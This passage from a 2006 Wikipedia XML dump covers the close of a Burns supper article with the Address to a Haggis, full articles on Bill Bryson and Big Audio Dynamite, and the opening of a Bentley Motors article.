The supper then starts with the soup course.  Normally a Scots soup such as [[Scotch Broth]], Potato Soup or [[Cock-a-leekie soup|Cock-a-Leekie]] is served.

=== Entrance of the haggis ===
Everyone stands as the main course is brought in.  This is always a haggis on a large dish.  It is brought in by the cook, generally while a piper plays bagpipes and leads the way to the host's table, where the haggis is laid down. He might play 'A man's a man for aw that'.  The host, or perhaps a guest with a talent, then recites the ''Address To a Haggis'':
''[[Image:BobPurdieAddressingHaggis20040124CopyrightKaihsuTai.jpg|thumb|right|Addressing the haggis]]''

'''Address To a Haggis'''
 Fair fa' your honest, sonsie face,               (sonsie = cheeky)
 Great chieftain o' the puddin-race!
 Aboon them a' ye tak your place,                 (aboon = above)
 Painch, tripe, or thairm:
 Weel are ye wordy o' a grace 
 As lang's my arm. 
 
 The groaning trencher there ye fill,
 Your hurdies like a distant hill,                (hurdies = hips)
 Your pin wad help to mend a mill 
 In time o' need,
 While thro' your pores the dews distil 
 Like amber bead. 
 
 His knife see rustic Labour dicht,               (dicht = wipe)
 An' cut you up wi' ready slicht,                 (slicht = skill)
 Trenching your gushing entrails bricht,
 Like ony ditch;
 And then, O what a glorious sicht,
 Warm-reekin, rich!                               (reeking = steaming)
 
 Then, horn for horn, they stretch an' strive:
 Deil tak the hindmaist! on they drive,           (deil = devil)
 Till a' their weel-swall'd kytes belyve,         (kytes = bellies, belyve = soon)
 Are bent like drums;
 Then auld Guidman, maist like to rive,           (rive = burp)
 &quot;Bethankit&quot; hums.                                     
 
 Is there that o're his French ragout 
 Or olio that wad staw a sow,
 Or fricassee wad mak her spew 
 Wi' perfect scunner,
 Looks down wi' sneering, scornfu' view 
 On sic a dinner? 
 
 Poor devil! see him ower his trash,
 As feckless as a wither'd rash,
 His spindle shank, a guid whip-lash,
 His nieve a nit;                                 (nieve = fist, nit = louse's egg, ie. tiny)
 Thro' bloody flood or field to dash,
 O how unfit! 
 
 But mark the Rustic, haggis fed,
 The trembling earth resounds his tread.
 Clap in his wallie nieve a blade,                (wallie = mighty, nieve = fist)
 He'll mak it whistle;
 An' legs an' arms, an' heads will sned,          (sned = cut off)
 Like taps o' thristle. 
 
 Ye Pow'rs wha mak mankind your care,
 And dish them out their bill o' fare,
 Auld Scotland wants nae skinking ware 
 That jaups in luggies;                           (jaups = slops about, luggies = two-handled 
 But, if ye wish her gratefu' prayer,              continental bowls)
 Gie her a haggis! 

If the poem is being recited with any sense of drama or humour at all, then at the line ''His knife see rustic Labour dicht'' the speaker will normally raise a knife, sharpening it menacingly, and at the line ''An' cut you up wi' ready slicht'', plunges it into the haggis and cuts it open from end to end.  When done properly this &quot;ceremony&quot; is a highlight of the evening.

=== Supper ===
At the end of the poem, a whisky toast will be proposed to the haggis.  Then the company will sit and enjoy the meal.  The main course is, of course, haggis, and is traditionally served with mashed potatoes and mashed [[rutabaga|neeps]] (known in southern England as swede or in North America as rutabaga or turnip). A dessert course, cheese courses, coffee, etc. may also be part of the meal. The courses normally use traditional Scottish recipes.  For instance dessert may be [[cranachan]] or Tipsy Laird (sherry trifle) followed by oatcakes and cheese, all washed down with liberal tots of the &quot;water of life&quot; – Scotch whisky.

When the meal reaches the coffee stage various speeches and toasts are given.  In order the core speeches and toasts are as follows.

=== Loyal toast ===
The host proposes a toast to the health of the monarch (or to the leader of the country if it is not a [[monarchy]]).

=== Immortal memory ===
One of the guests gives a short speech, remembering some aspect of Burns' life or poetry.  This may be light-hearted or intensely serious.  The speaker should always prepare a speech with his audience in mind, since above all, the Burns' supper should be entertaining.

Everyone drinks a toast to Robert Burns.

=== Appreciation ===
The host will normally say a few words thanking the previous speaker for his speech and perhaps commenting on some of the points raised.  

=== Toast to the lassies ===
This was originally a short speech given by a male guest in thanks to those women who had prepared the meal.  However nowadays it is much more wide ranging, and generally covers the male speaker's view on women.  It is normally amusing but should never be offensive, particularly bearing in mind that it will be followed by a reply from the &quot;Lassies&quot; concerned.

The men drink a toast to the women's health.

=== Reply to the toast to the lassies ===
This is occasionally (and humorously) called the 'Toast to the Laddies', and like the previous toast it is generally quite wide ranging nowadays.  In it a female guest will give her views on men and reply to any specific points raised by the previous speaker.  Like the previous speech this should be amusing but not offensive.  Quite often the speakers giving this toast and the previous one will collaborate so that the two toasts complement each other.

The women drink a toast to the men's health.

=== Other toasts and speeches ===
These may follow if desired.  It is not unusual to toast the locality or nation in which the supper is being held. It is also quite common to propose a toast to Scotland but there is no fixed list of subjects, so this is very dependent on circumstances.  

=== Works by Burns ===
After the speeches, there may be singing of songs by Burns -- ''Ae Fond Kiss'', ''Parcel O' Rogues'', ''A Man's a Man'', etc --  and more poetry -- ''[[To a Mouse]]'', ''[[To a Louse]]'', ''Tam O' Shanter'', ''The Twa Dugs'', ''Holy Willie's Prayer'', etc.  This may be done by the individual guests or by invited experts.  It goes on for as long as the guests wish and may include other works by poets influenced by Burns, particularly poets writing in Scots.  The only rule is to give the audience what they want.

=== Dancing ===
There may occasionally be Scottish country dancing, if the venue allows, but this is not a normal part of a Burns supper.

=== Closing ===
Finally the host will wind things up, calling on one of the guests to give the vote of thanks, after which everyone is asked to stand, join hands, and sing '' [[Auld Lang Syne]] '' which brings the evening to an end.

   
[[Category:Robert Burns]]   
[[Category:Scottish culture]]   
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    </revision>
  </page>
  <page>
    <title>Bill Bryson</title>
    <id>5050</id>
    <revision>
      <id>42049464</id>
      <timestamp>2006-03-03T13:16:52Z</timestamp>
      <contributor>
        <username>Dudesleeper</username>
        <id>787522</id>
      </contributor>
      <minor />
      <comment>His title is stated earlier in the paragraph</comment>
      <text xml:space="preserve">[[Image:Bill_bryson.JPG|thumb|260px|Bill Bryson in front of Durham Cathedral]]

'''William 'Bill' McGuire Bryson''' (born [[December 8]],[[1951]]) is a best-selling [[United States|American]] [[author]] of humorous books on [[travel]], as well as books on the [[English language]] and on [[science|scientific]] subjects. Born in [[Des Moines, Iowa]], he was educated at [[Drake University]] but dropped out in 1972 after deciding to backpack around Europe for four months. He returned to Europe the following year with his high-school friend, Stephen Katz (which, it transpires, is not his real name). Some of his experiences from this trip are re-lived as flashbacks in ''[[Neither Here Nor There]]'', which documents a similar journey Bryson made twenty years later.

In the mid-1970s, Bryson began working in a [[psychiatric hospital]] in [[Virginia Water]], [[Surrey]]. There he met and soon married his English wife, Cynthia, a hospital nurse. Together they returned to the USA in order for Bryson to complete his college degree, after which they settled in England in [[1977]], remaining there until 1995. Living in North [[Yorkshire]] and mainly working as a [[journalist]], he eventually became chief [[copy editor]] of the business section of ''[[The Times]]'', and then deputy national news editor of the business section of ''[[The Independent]]''. He left [[journalism]] in 1987, three years after the birth of his third child.

In 1995, Bryson returned to live in the [[United States]] (more specifically [[Hanover, New Hampshire]]) for some years. In [[2003]], however, Bryson and his family returned to [[England]], and are now living in [[Wymondham]], [[Norfolk]].

Also in [[2003]], in conjunction with [[World Book Day]], voters in [[United Kingdom|Great Britain]] chose Bryson's book ''[[Notes from a Small Island]]'' as the book that best sums up British identity and the state of the nation. In the same year, he was appointed a Commissioner for [[English Heritage]]. 

In [[2004]], Bryson won the prestigious [[The Aventis Prizes for Science Books|Aventis Prize]] for best general-science book with ''[[A Short History of Nearly Everything]]''. This concise and engaging piece of literature explores not only the histories and current status' of the sciences, but also reveals their humble and often humorous beginnings. One &quot;top scientist&quot; is alleged to have jokingly described the book as &quot;annoyingly free of mistakes&quot;. [http://education.guardian.co.uk/higher/profile/story/0,11109,1642405,00.html]

Bryson has also written two works on the history of the English language - ''[[The Mother Tongue (book)|Mother Tongue]]'' and ''[[Made in America]]'' - and, more recently, an update of his guide to usage, ''[[Bryson's Dictionary of Troublesome Words]]'' (published in its first edition as ''The Penguin Dictionary of Troublesome Words'' in [[1983]]). These books were popularly acclaimed and well-reviewed, though they received criticism from academics in the field, who claimed they contained factual errors, urban myths, and [[folk etymologies]]. Though Bryson has no formal linguistics qualifications, he is a popular and generally well-regarded writer on the subject of languages. 

In [[2005]], Bryson was appointed [[Chancellor]] of [[Durham University]], a city he had praised as &quot;a perfect little city&quot; in ''[[Notes from a Small Island]]''.  He has also been awarded honorary degrees by numerous universities. He succeeded the late [[Sir Peter Ustinov]].

His next book project is a [[memoir]] about growing up in [[United_States_in_the_1950s|America in the 1950s]] called ''[[The Life and Times of the Thunderbolt Kid]]''.

== Bibliography ==

=== Books on travel ===
*''[[The Palace Under the Alps and Over 200 Other Unusual, Unspoiled, and Infrequently Visited Spots in 16 European Countries]]'' ([[1985]])
*''[[The Lost Continent: Travels in Small-Town America]]'' ([[1989]])
*''[[Neither Here Nor There: Travels in Europe]]'' ([[1991]])
*''[[Notes from a Small Island]]'' ([[1995]]) (travels in the United Kingdom, his farewell to the country he was temporarily leaving; adapted for television by [[Carlton Television]] in [[1998]])
*''[[A Walk in the Woods]]: Rediscovering America on the Appalachian Trail'' ([[1998]]) (co-stars Stephen Katz)
*''[[I'm a Stranger Here Myself: Notes on Returning to America After Twenty Years Away]]'' (US Edition) / ''[[Notes From a Big Country]]'' (UK Edition) ([[1998]], columns about moving back to the USA)
*''[[In a Sunburned Country]]'' (US edition) / ''[[Down Under (disambiguation)|Down Under]]'' (UK edition) ([[2000]]) (travels in [[Australia]])
*''[[Bill Bryson's African Diary]]''  ([[2002]]) (travels in [[Africa]])

=== Books on language ===
*''[[The Mother Tongue (book)|The Mother Tongue: English and How it Got That Way]]'' ([[1990]])
*''[[Made In America|Made in America: An Informal History of the English Language in the United States]]'' ([[1994]])
*''[[Bryson's Dictionary of Troublesome Words]]'' ([[2002]])

=== Books on science ===
*''[[A Short History of Nearly Everything]]'' ([[2003]])

===Memoir===
*''[[The Life and Times of the Thunderbolt Kid]]'' ([[2006]])

==External links==
{{wikiquote}}
*[http://www.randomhouse.com/features/billbryson/home.html Official Bill Bryson Web site]
*[http://www.royalsoc.ac.uk/page.asp?id=2983 Bill Bryson - A short history of nearly everything presentation] at the [[Royal Society]]

{| border=&quot;2&quot; align=&quot;center&quot;
|width=&quot;30%&quot; align=&quot;center&quot;|Preceded by:&lt;br /&gt;'''[[Peter Ustinov|Sir Peter Ustinov]]'''
|width=&quot;40%&quot; align=&quot;center&quot;|'''[[Durham University|Chancellor of Durham University]]'''&lt;br /&gt;2005&amp;ndash;
|width=&quot;30%&quot; align=&quot;center&quot;|Followed by:&lt;br /&gt;'''Current incumbent'''
|}


[[Category:1951 births|Bryson, Bill]]
[[Category:Living people|Bryson, Bill]]
[[Category:Science writers|Bryson, Bill]]
[[Category:American travel writers|Bryson, Bill]]
[[Category:Non-fiction outdoors writers|Bryson, Bill]]
[[Category:People from Iowa|Bryson, Bill]]
[[Category:Travel writers|Bryson, Bill]]
[[Category:American_humorists|Bryson, Bill]]

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[[nl:Bill Bryson]]</text>
    </revision>
  </page>
  <page>
    <title>Big Audio Dynamite</title>
    <id>5051</id>
    <revision>
      <id>41824958</id>
      <timestamp>2006-03-02T00:04:03Z</timestamp>
      <contributor>
        <username>DantheCowMan</username>
        <id>685387</id>
      </contributor>
      <minor />
      <comment>/* Members */ link [[Dan Donovan]]</comment>
      <text xml:space="preserve">{{unreferenced}}[[Image:ThisisBAD.jpg|frame|''This is Big Audio Dynamite'' album cover.]]'''Big Audio Dynamite''' was the primary musical outlet of [[Mick Jones (The Clash)|Mick Jones]], formerly of punk pioneers [[The Clash]].

Big Audio Dynamite ('''BAD''', for short) was founded in [[1984 in music|1984]] with film director Don Letts (''[[The Punk Rock Movie]]'', various Clash videos, and later the Clash documentary ''[[Westway to the World]]'').

The first BAD album, ''This Is Big Audio Dynamite'', was released a year later. The single &quot;E=MC&lt;sup&gt;2&lt;/sup&gt;&quot; was in heavy [[rotation]] in [[dance club]]s at the time. [[1986 in music|1986]]'s ''No. 10, Upping St.'' reunited Jones for one album with former Clash-mate [[Joe Strummer]] who co-produced the album and co-wrote a number of songs, but that reacquaintance soon ended.

BAD opened for [[U2]] on their [[1987 in music|1987]] world tour, then followed with 1988's ''Tighten Up, Vol. '88'' and [[1989 in music|1989]]/[[1990s in music|1990s]] ''Megatop Phoenix''. After a complete reworking of the lineup that left Jones as the sole remaining original member, BAD then released the critically acclaimed, limited edition mini-album ''Kool-Aid'' - a prelude to [[1991 in music|1991]]'s ''The Globe'', which produced the band's most commercially successful single, &quot;Rush&quot;.

After signing with [[Gary Kurfirst]]'s [[Radioactive Records]] in [[1995 in music|1995]], and releasing a rather tepid album, ''F-Punk'', BAD found its proposed next album ''Entering a New Ride,'' in limbo -- the record company apparently refused to release it. Coincidentally, the new line-up featured the inclusion of vocalist [[Rankin' Roger]] ([[The Beat (band)|The Beat]], [[General Public]]). In [[1998 in music|1998]], the band launched a new web site, primarily as a means to distribute songs from the ''Entering a New Ride'' album to the group's fans.

Jones has shuffled the line up of the group several times, and even renamed them '''[[Big Audio Dynamite II]]''' (in 1991) and '''Big Audio''' ([[1994 in music|1994]]), but critics argue that the band never really captured the cutting-edge promise of their debut album, with the possible exception of the 1989 release.

[[As of 2005]], Jones is working on a project with [[Tony James]] (ex. of GenX and [[Sigue Sigue Sputnik]]) called [[Carbon/Silicon]].

== Members ==

==== Big Audio Dynamite (1984 - 1990) ====
*Mick Jones - guitars &amp; vocals
*[[Dan Donovan]] - keyboards
*Don Letts - sound effects &amp; vocals
*Greg Roberts - drums &amp; background vocals
*Leo Williams - bass

==== Big Audio Dynamite II/Big Audio (1990 - 1998) ====
*Mick Jones - guitars &amp; vocals
*Darryl Fulstow - bass (1995 - 1998)
*Nick Hawkins - guitar
*Chris Kavanagh - drums (1990 - 1995)
*Andre Shapps - keyboards
*Gary Stonadge - bass (1990 - 1995)
*Bob Wond - drums (1995 - 1998)

== Discography ==
=== Albums ===
{| class=&quot;wikitable&quot;
!align=&quot;left&quot; valign=&quot;top&quot; width=&quot;40&quot;|Year
!align=&quot;left&quot; valign=&quot;top&quot;|Album
!align=&quot;center&quot; valign=&quot;top&quot; width=&quot;40&quot;|[[UK Albums Chart|UK]]
!align=&quot;center&quot; valign=&quot;top&quot; width=&quot;40&quot;|[[Billboard 200|US]]
!align=&quot;left&quot; valign=&quot;top&quot;|Additional information
|-
|align=&quot;left&quot; valign=&quot;top&quot;|[[1985 in music|1985]]
|align=&quot;left&quot; valign=&quot;top&quot;|''[[This is Big Audio Dynamite]]''
|align=&quot;center&quot; valign=&quot;top&quot;|27
|align=&quot;center&quot; valign=&quot;top&quot;|103
|align=&quot;left&quot; valign=&quot;top&quot;|as &quot;Big Audio Dynamite&quot;
|-
|align=&quot;left&quot; valign=&quot;top&quot;|[[1986 in music|1986]]
|align=&quot;left&quot; valign=&quot;top&quot;|''[[No. 10 Upping St.]]''
|align=&quot;center&quot; valign=&quot;top&quot;|11
|align=&quot;center&quot; valign=&quot;top&quot;|135
|align=&quot;left&quot; valign=&quot;top&quot;|as &quot;Big Audio Dynamite&quot;
|-
|align=&quot;left&quot; valign=&quot;top&quot;|[[1988 in music|1988]]
|align=&quot;left&quot; valign=&quot;top&quot;|''[[Tighten Up, Vol. 88]]''
|align=&quot;center&quot; valign=&quot;top&quot;|33
|align=&quot;center&quot; valign=&quot;top&quot;|102
|align=&quot;left&quot; valign=&quot;top&quot;|as &quot;Big Audio Dynamite&quot;
|-
|align=&quot;left&quot; valign=&quot;top&quot;|[[1989 in music|1989]]
|align=&quot;left&quot; valign=&quot;top&quot;|''[[Megatop Phoenix]]''
|align=&quot;center&quot; valign=&quot;top&quot;|26
|align=&quot;center&quot; valign=&quot;top&quot;|85
|align=&quot;left&quot; valign=&quot;top&quot;|as &quot;Big Audio Dynamite&quot;
|-
|align=&quot;left&quot; valign=&quot;top&quot;|[[1990 in music|1990]]
|align=&quot;left&quot; valign=&quot;top&quot;|''[[Kool-Aid (album)|Kool-Aid]]''
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;left&quot; valign=&quot;top&quot;|as &quot;Big Audio Dynamite II&quot;
|-
|align=&quot;left&quot; valign=&quot;top&quot;|[[1991 in music|1991]]
|align=&quot;left&quot; valign=&quot;top&quot;|''[[The Globe (album)|The Globe]]''
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|76
|align=&quot;left&quot; valign=&quot;top&quot;|as &quot;Big Audio Dynamite II&quot;, [[Gold album|Gold]] Certified
|-
|align=&quot;left&quot; valign=&quot;top&quot;|1991
|align=&quot;left&quot; valign=&quot;top&quot;|''[[Ally Pally Paradiso]]''
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;left&quot; valign=&quot;top&quot;|The &quot;Live Official Bootleg&quot;, as &quot;Big Audio Dynamite II&quot;
|-
|align=&quot;left&quot; valign=&quot;top&quot;|[[1993 in music|1993]]
|align=&quot;left&quot; valign=&quot;top&quot;|''[[The Lost Treasures of Big Audio Dynamite I &amp; II]]''
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;left&quot; valign=&quot;top&quot;|hits compilation album
|-
|align=&quot;left&quot; valign=&quot;top&quot;|[[1994 in music|1994]]
|align=&quot;left&quot; valign=&quot;top&quot;|''[[Higher Power (album)|Higher Power]]''
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;left&quot; valign=&quot;top&quot;|as &quot;Big Audio&quot;
|-
|align=&quot;left&quot; valign=&quot;top&quot;|[[1995 in music|1995]]
|align=&quot;left&quot; valign=&quot;top&quot;|''[[Planet B.A.D.]]''
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;left&quot; valign=&quot;top&quot;|general &quot;best of&quot; compilation for all B.A.D. variants
|-
|align=&quot;left&quot; valign=&quot;top&quot;|1995
|align=&quot;left&quot; valign=&quot;top&quot;|''[[F-Punk]]''
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;left&quot; valign=&quot;top&quot;|as &quot;Big Audio Dynamite&quot;
|-
|align=&quot;left&quot; valign=&quot;top&quot;|[[1999 in music|1999]]
|align=&quot;left&quot; valign=&quot;top&quot;|''Super Hits''
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;left&quot; valign=&quot;top&quot;|general &quot;best of&quot; compilation for all B.A.D. variants
|-
|}

===Chart Singles===
{| class=&quot;wikitable&quot;
!align=&quot;center&quot; valign=&quot;top&quot; width=&quot;40&quot;|Year
!align=&quot;left&quot; valign=&quot;top&quot;|Song
!align=&quot;center&quot; valign=&quot;top&quot; width=&quot;40&quot;|&lt;small&gt;[[UK singles chart|UK singles]]&lt;/small&gt;
!align=&quot;center&quot; valign=&quot;top&quot; width=&quot;40&quot;|&lt;small&gt;[[Billboard Hot 100|US Hot 100]]&lt;/small&gt;
!align=&quot;center&quot; valign=&quot;top&quot; width=&quot;40&quot;|&lt;small&gt;[[Modern Rock Tracks chart|US Modern Rock]]&lt;/small&gt;
!align=&quot;left&quot; valign=&quot;top&quot;|Album
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1986
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;E=MC&lt;sup&gt;2&lt;/sup&gt;&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|11
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;left&quot; valign=&quot;top&quot;|''This Is Big Audio Dynamite''
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1986
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Medicine Show&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|29
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;left&quot; valign=&quot;top&quot;|''This Is Big Audio Dynamite''
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1988
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Just Play Music!&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|1
|align=&quot;left&quot; valign=&quot;top&quot;|''Tighten Up, Vol. 88''
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1988
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Other 99&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|13
|align=&quot;left&quot; valign=&quot;top&quot;|''Tighten Up, Vol. 88''
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1989
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;James Brown&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|2
|align=&quot;left&quot; valign=&quot;top&quot;|''Megatop Phoenix''
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1989
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Contact&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|6
|align=&quot;left&quot; valign=&quot;top&quot;|''Megatop Phoenix''
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1991
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Rush&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|32
|align=&quot;center&quot; valign=&quot;top&quot;|1
|align=&quot;left&quot; valign=&quot;top&quot;|''The Globe''
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1991
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;The Globe&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|72
|align=&quot;center&quot; valign=&quot;top&quot;|3
|align=&quot;left&quot; valign=&quot;top&quot;|''The Globe''
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1994
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Looking For a Song&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|24
|align=&quot;left&quot; valign=&quot;top&quot;|''Higher Power''
|-
|}


[[Category:English musical groups|Big Audio Dynamite]]
[[Category:New Wave groups|Big Audio Dynamite]]
[[Category:Alternative musical groups|Big Audio Dynamite]]

[[sv:Big Audio Dynamite]]</text>
    </revision>
  </page>
  <page>
    <title>Bentley</title>
    <id>5052</id>
    <revision>
      <id>41197333</id>
      <timestamp>2006-02-25T18:47:22Z</timestamp>
      <contributor>
        <ip>24.27.213.226</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">: ''For other uses of &quot;Bentley&quot;, see [[Bentley (disambiguation)]].''
[[Image:Bentley badge and hood ornament-BW.jpg|thumb|250px|Bentley's winged &quot;B&quot; badge and hood ornament]]

'''Bentley Motors Limited''' is a [[United Kingdom|British]] based manufacturer of [[luxury car|luxury]] [[automobile]]s and [[Grand Tourer]]s. Bentley Motors was founded in [[England]] on [[January 18]], [[1919]] by [[Walter Owen Bentley]], known as W.O. Bentley or just &quot;W.O.&quot; ([[1888]]&amp;ndash;[[1971]]). He was previously known for his successful range of [[Rotary engine|rotary aero-engines]] in [[World War I]], the most famous being the Bentley BR1 as used in later versions of the [[Sopwith Camel]]. The company is currently owned by the [[Volkswagen Group]].

==Bentley as a separate company==
[[Image:Bentley_logo.jpg|thumb|250px|The Bentley logo]]
[[Image:1929 Bentley front 34 right.jpg|thumb|250px|1929 [[Bentley Blower|&quot;Blower&quot; Bentley]] from the [[Ralph Lauren]] collection.]]
A group of wealthy British automobile aficionados known as &quot;the [[Bentley Boys]]&quot; ([[Woolf Barnato]], heir to a partnership in the [[Kimberly diamond mines]], Sir [[Henry Birkin]], [[George Duller]], [[steeplechase]]r, [[Glen Kidston]], [[aviator]], [[Sammy Davis]], automotive journalist, and Dr. [[Dudley Benjafield]])  kept the car's reputation for high performance alive. At one point, on a bet, Barnato raced a legendary car from [[Cannes]] to [[Calais]], then by ferry to [[Dover]] and finally [[London]], traveling on public highways with normal traffic, and won; the special-bodied 6.5 litre car became known as the ''[[Blue Train Bentley]]''. Thanks to the dedication of this group to serious racing, the company, located at Cricklewood, north [[London]], was noted for its four consecutive victories at the [[24 hours of Le Mans]] from [[1927]]-[[1930]]. Their greatest competitor at the time, [[Bugatti]], whose lightweight, elegant, but fragile creations contrasted with the Bentley's rugged reliability and durability, referred to them as &quot;the world's fastest trucks&quot;. Perhaps the most iconic Bentley of the period is the 4.5 litre &quot;Blower Bentley&quot;, with its distinctive [[supercharger]] projecting forward from the bottom of the grille. Uncharacteristically fragile for a Bentley, however, it was not the racing workhorse that the 6 litre Bentley was. It  became famous in the popular media as the vehicle of [[James Bond]] in the original novels, but not in any film; rather, [[John Steed]] in the television series ''[[The Avengers (TV series)|The Avengers]]'' did drive a Bentley on-screen. 

A great deal of Barnato's fortune went to keeping Bentley afloat and he eventually became chairman; the [[Great Depression]] destroyed demand for the company's expensive products, and it was finally sold off to [[Rolls-Royce]] in [[1931]]. It should be noted that Bentley was a very serious competitor to Rolls-Royce and that the 8 Litre Bentley was probably a better machine than anything Rolls-Royce at that time had to offer.

===Early Bentleys===
* 1921&amp;ndash;1929 [[Bentley 3 Litre|3 Litre]]
* 1926&amp;ndash;1930 [[Bentley Speed Six|6&amp;frac12; Litre]]
** 1928&amp;ndash;1930 [[Bentley Speed Six|Speed Six]]
* 1926&amp;ndash;1930 [[Bentley Blower|4&amp;frac12; Litre]]
** 1928&amp;ndash;1930 [[Bentley Blower|Blower]]
* 1930&amp;ndash;1931 [[Bentley 8 Litre|8 Litre]]
* 1931 [[Bentley 4 Litre|4 Litre]]
* 1933&amp;ndash;1937 [[Bentley 3.5 Litre|3&amp;frac12; Litre]]
** 1936&amp;ndash;1939 [[Bentley 3.5 Litre|4&amp;frac14; Litre]]
* 1939&amp;ndash;1941 [[Bentley Mark V|Mark V]]
** 1939 [[Bentley Mark V|Corniche]]

==Bentleys of the Rolls-Royce era==
[[Image:Bentley SI Continental Fastback Coupe Mulliner.jpg|right|thumb|250px|[[Bentley S1|S1 Continental Fastback Coupé]] with Mulliner Bodywork]]
Rolls-Royce merged the Bentley line into its own, so that the Bentley marque became just a Rolls-Royce without the distinctive grill and with a $300 lower price tag. In the [[1980s]], however, Bentley became a separate, high performance car line once again. The most notable car in the Rolls-Royce period was probably the [[Bentley Continental]], which appeared in various forms from [[1952]] to [[1965]], and again in [[1992]] with production ending in [[2003]]. The Bentley factory in Crewe, Cheshire, is still known in the town by the name &quot;Royce´s&quot;. For more on Bentley Motors from 1931 to 1998, see [[Rolls-Royce]].

* 1946-1952 [[Bentley Mark VI|Mark VI]]
* 1952-1955 [[Bentley R Type|R Type]] and Continental
* 1955-1959 [[Bentley S1|S1]] and Continental
* 1959-1962 [[Bentley S2|S2]] and Continental 
* 1962-1965 [[Bentley S3|S3]] and Continental
* 1965-1980 [[Bentley T-series|T-series]]
** 1965-1977 [[Bentley T1|T1]]
** 1977-1980 [[Bentley T2|T2]]
* 1971-1984 [[Bentley Corniche|Corniche]]
** 1984-1995 [[Bentley Continental (1984)|Continental]] &amp;mdash; convertible
*** 1992-1995 [[Bentley Continental (1984)|Continental Turbo]]
* 1975-1986 [[Bentley Camargue|Camargue]]
* 1980-1987 [[Bentley Mulsanne|Mulsanne]]
** 1984-1988 [[Bentley Mulsanne|Mulsanne L]] limousine
** 1982-1985 [[Bentley Mulsanne|Mulsanne Turbo]]
** 1987-1992 [[Bentley Mulsanne|Mulsanne S]]
** 1984-1992 [[Bentley Eight|Eight]] &amp;mdash; lower-priced model
** 1985-1995 [[Bentley Turbo R|Turbo R]] &amp;mdash; [[turbocharged]] performance version
** 1991-2002 [[Bentley Continental R|Continental R]] &amp;mdash; turbocharged 2-door model
*** 1999-2003 [[Bentley Continental R|Continental R Mulliner]] &amp;mdash; performance model
*** 1994-1995 [[Bentley Continental S|Continental S]] &amp;mdash; [[intercooled]]
** 1992-1998 [[Bentley Brooklands|Brooklands]] &amp;mdash; improved Eight
*** 1996-1998 [[Bentley Brooklands R|Brooklands R]] &amp;mdash; performance Brooklands
** 1994-1995 [[Bentley Turbo S|Turbo S]] &amp;mdash; limited-edition sports model
** 1995-1997 [[Bentley Turbo R|Turbo R]] &amp;mdash; updated Turbo R
*** 1996 [[Bentley Turbo R|Turbo R Sport]] &amp;mdash; limited-edition sports model
** 1995-2003 [[Bentley Azure|Azure]] &amp;mdash; convertible Continental R
*** 1999-2002 [[Bentley Azure|Azure Mulliner]] &amp;mdash; performance model
** 1996-2002 [[Bentley Continental T|Continental T]] &amp;mdash; short wheelbase performance model
*** 1999 [[Bentley Continental T|Continental T Mulliner]] &amp;mdash; firmer suspension
** 1997-1998 [[Bentley Turbo RT]] &amp;mdash; replacement for the Turbo R

==Volkswagen Group ownership==
[[Image:bentleyazure.JPG|thumb|right|250px|2003 Bentley Azure Mulliner Final Series]]
